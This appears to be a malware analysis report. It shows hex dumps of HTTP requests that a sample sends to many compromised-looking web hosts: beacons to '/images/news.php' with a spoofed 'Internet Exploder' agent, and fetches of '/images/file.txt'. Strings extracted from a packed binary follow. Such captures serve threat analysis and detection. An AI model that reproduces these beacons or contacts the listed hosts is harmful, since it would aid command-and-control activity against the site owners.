0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a206e 69636b6f 6c617573 2e706972   t: nickolaus.pir
0x00000070 (00112)   616e686f 2e64650d 0a0d0a3a 33392047   anho.de....:39 G
0x00000080 (00128)   4d540d0a 0d0a3c68 746d6c3e 0a20203c   MT....<html>.  <
0x00000090 (00144)   68656164 3e0a2020 20203c74 69746c65   head>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2070 756c6368 72616c61 622e636f   t: pulchralab.co
0x00000070 (00112)   6d0d0a0d 0a64650d 0a0d0a3a 33392047   m....de....:39 G
0x00000080 (00128)   4d540d0a 0d0a3c68 746d6c3e 0a20203c   MT....<html>.  <
0x00000090 (00144)   68656164 3e0a2020 20203c74 69746c65   head>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 20647562 612e7275 0d0a4163   ost: duba.ru..Ac
0x00000030 (00048)   63657074 3a202a2f 2a0d0a43 6f6e6e65   cept: */*..Conne
0x00000040 (00064)   6374696f 6e3a2063 6c6f7365 0d0a5573   ction: close..Us
0x00000050 (00080)   65722d41 67656e74 3a204d6f 7a696c6c   er-Agent: Mozill
0x00000060 (00096)   612f342e 30202863 6f6d7061 7469626c   a/4.0 (compatibl
0x00000070 (00112)   653b204d 53494520 352e303b 2057696e   e; MSIE 5.0; Win
0x00000080 (00128)   646f7773 20393829 0d0a0d0a 0a20203c   dows 98).....  <
0x00000090 (00144)   68656164 3e0a2020 20203c74 69746c65   head>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2070 696c6368 61732e63 6f6d0d0a   t: pilchas.com..
0x00000070 (00112)   0d0a                                  ..

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 20777777 2e747574 746f656c   ost: www.tuttoel
0x00000030 (00048)   657a696f 6e692e6e 65740d0a 41636365   ezioni.net..Acce
0x00000040 (00064)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000050 (00080)   696f6e3a 20636c6f 73650d0a 55736572   ion: close..User
0x00000060 (00096)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000070 (00112)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000080 (00128)   204d5349 4520352e 303b2057 696e646f    MSIE 5.0; Windo
0x00000090 (00144)   77732039 38290d0a 0d0a3c74 69746c65   ws 98)....<title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 206c616a 7576652e 6f72670d   ost: lajuve.org.
0x00000030 (00048)   0a416363 6570743a 202a2f2a 0d0a436f   .Accept: */*..Co
0x00000040 (00064)   6e6e6563 74696f6e 3a20636c 6f73650d   nnection: close.
0x00000050 (00080)   0a557365 722d4167 656e743a 204d6f7a   .User-Agent: Moz
0x00000060 (00096)   696c6c61 2f342e30 2028636f 6d706174   illa/4.0 (compat
0x00000070 (00112)   69626c65 3b204d53 49452035 2e303b20   ible; MSIE 5.0; 
0x00000080 (00128)   57696e64 6f777320 3938290d 0a0d0a6f   Windows 98)....o
0x00000090 (00144)   77732039 38290d0a 0d0a3c74 69746c65   ws 98)....<title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a206e 62706c2e 65686f73 742e706c   t: nbpl.ehost.pl
0x00000070 (00112)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 20696467 72616669 632e636f   ost: idgrafic.co
0x00000030 (00048)   6d0d0a41 63636570 743a202a 2f2a0d0a   m..Accept: */*..
0x00000040 (00064)   436f6e6e 65637469 6f6e3a20 636c6f73   Connection: clos
0x00000050 (00080)   650d0a55 7365722d 4167656e 743a204d   e..User-Agent: M
0x00000060 (00096)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000070 (00112)   61746962 6c653b20 4d534945 20352e30   atible; MSIE 5.0
0x00000080 (00128)   3b205769 6e646f77 73203938 290d0a0d   ; Windows 98)...
0x00000090 (00144)   0a732039 38290d0a 0d0a3c74 69746c65   .s 98)....<title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2077 77772e76 6964656f 77657262   t: www.videowerb
0x00000070 (00112)   756e672d 73747261 7562696e 672e6465   ung-straubing.de
0x00000080 (00128)   0d0a0d0a 6e646f77 73203938 290d0a0d   ....ndows 98)...
0x00000090 (00144)   0a732039 38290d0a 0d0a3c74 69746c65   .s 98)....<title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a206a 6b696e64 75737472 69612e63   t: jkindustria.c
0x00000070 (00112)   6f6d2e62 720d0a0d 0a                  om.br....

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 20777777 2e766961 63617264   ost: www.viacard
0x00000030 (00048)   6d672e63 6f6d2e62 720d0a41 63636570   mg.com.br..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a55 7365722d   on: close..User-
0x00000060 (00096)   4167656e 743a204d 6f7a696c 6c612f34   Agent: Mozilla/4
0x00000070 (00112)   2e302028 636f6d70 61746962 6c653b20   .0 (compatible; 
0x00000080 (00128)   4d534945 20352e30 3b205769 6e646f77   MSIE 5.0; Window
0x00000090 (00144)   73203938 290d0a0d 0a0a3c74 69746c65   s 98).....<title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2077 77772e68 6f723038 2e6d6f6e   t: www.hor08.mon
0x00000070 (00112)   746f776e 69612e63 6f6d0d0a 0d0a3b20   townia.com....; 
0x00000080 (00128)   4d534945 20352e30 3b205769 6e646f77   MSIE 5.0; Window
0x00000090 (00144)   73203938 290d0a0d 0a0a3c74 69746c65   s 98).....<title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2037 362e3635 2e323031 2e313437   t: 76.65.201.147
0x00000070 (00112)   0d0a0d0a 69612e63 6f6d0d0a 0d0a3b20   ....ia.com....; 
0x00000080 (00128)   4d534945 20352e30 3b205769 6e646f77   MSIE 5.0; Window
0x00000090 (00144)   73203938 290d0a0d 0a0a3c74 69746c65   s 98).....<title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not


Strings
<<		>>	
<>		<>>
><<<<>
><<<=<>>>	
>>		<	
>				=;
	<>><;
		=	<=
04;4477
1gJQJ6
3>	<<1<>>
;>;4;<>		<	
	/	<4;
;	>4;>2;
@[6tCS}
*`8ft1
9nr~=d
a28D^fv
Ae}?ci6g
ay2#/6
,bh&3B#B/
cK+{B=*~
d:@c^q
DCz]#2a
?D*H@)
DNJ t3
GetProcAddress
GetSystemTimeAsFileTime
G:@!`u
J4TO`>
kernel32.dll
LoadLibraryA
Nnmkyr
PN)/[A
(pST@.f
`rB^:tg,y
RNU^t2
:rp-.^
Rv}?Di
*Svgc`
TA:wjM
#TPlg|
)TTHc2
%<!"%u
Ux<Wk\
V jh]~
vW0o!)8
x-Fj3&
,*}"?Xm
xs%w=7O
X]Y]U+
Y+`;g8
Y/nQc(
Ys/qxi
][Z[];
][Z[Q+